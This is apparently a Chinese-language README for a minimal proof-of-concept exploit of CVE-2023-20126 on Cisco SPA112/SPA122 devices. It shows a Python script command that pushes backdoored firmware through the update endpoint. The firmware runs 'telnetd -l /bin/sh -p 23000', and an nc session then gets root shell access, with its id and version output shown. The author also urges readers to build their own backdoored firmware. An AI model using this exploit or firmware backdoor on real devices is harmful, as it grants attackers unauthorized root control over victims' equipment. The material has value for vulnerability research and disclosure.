CVE-2023-20126 的最小可行 PoC
这是初始版本。它可用,但属于“最简单情况”的利用。
已在 SPA112/SPA122 上测试并生效 —— SPA232D 需要不同的固件镜像。
在 TCP 23000 端口提供 root shell。
我仍需清理用于编辑固件的工具链,可能会将其放在另一个仓库中。该工具链主要基于 @BigNerd95 的工作,但针对 SPA112/122 固件文件做了少量修改。
$ python3 CVE-2023-20126.py http://192.168.0.152 CFW.bin
Base URL: http://192.168.0.152
Firmware File: CFW.bin
Sending firmware update...
Firmware upgrade successful. Device will reboot eventually and be running the new FW.
< wait a few mins, nervously >
$ nc -v 192.168.0.152 23000
Connection to 192.168.0.152 port 23000 [tcp/inovaport1] succeeded!
????????
BusyBox v1.10.2 (2019-10-14 12:41:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id;uname -a;pwd
id;uname -a;pwd
uid=0(admin) gid=0(admin)
Linux SPA112 2.6.26.5 #1 PREEMPT Sun Sep 6 10:54:57 CST 2015 armv5tejl unknown
/
# cat /etc/version
cat /etc/version
router_major_version:1.4.1
router_minor_version:SR5
build_date:Mon Oct 14 12:48:12 CST 2019
build_version:6735
hardware_version:1.1.0
telnetd -l /bin/sh -p 23000,在 TCP 23000 端口提供 root shell。基于 bignerd95 的工作。WTFPL.
请使用 git issue。
如果这东西把你的设备变砖了,我概不负责。
那是你的问题。
我也是花了一个晚上才拼凑出这个带后门的固件。
另外,你为什么不按照文章指导自己构建带后门的固件呢?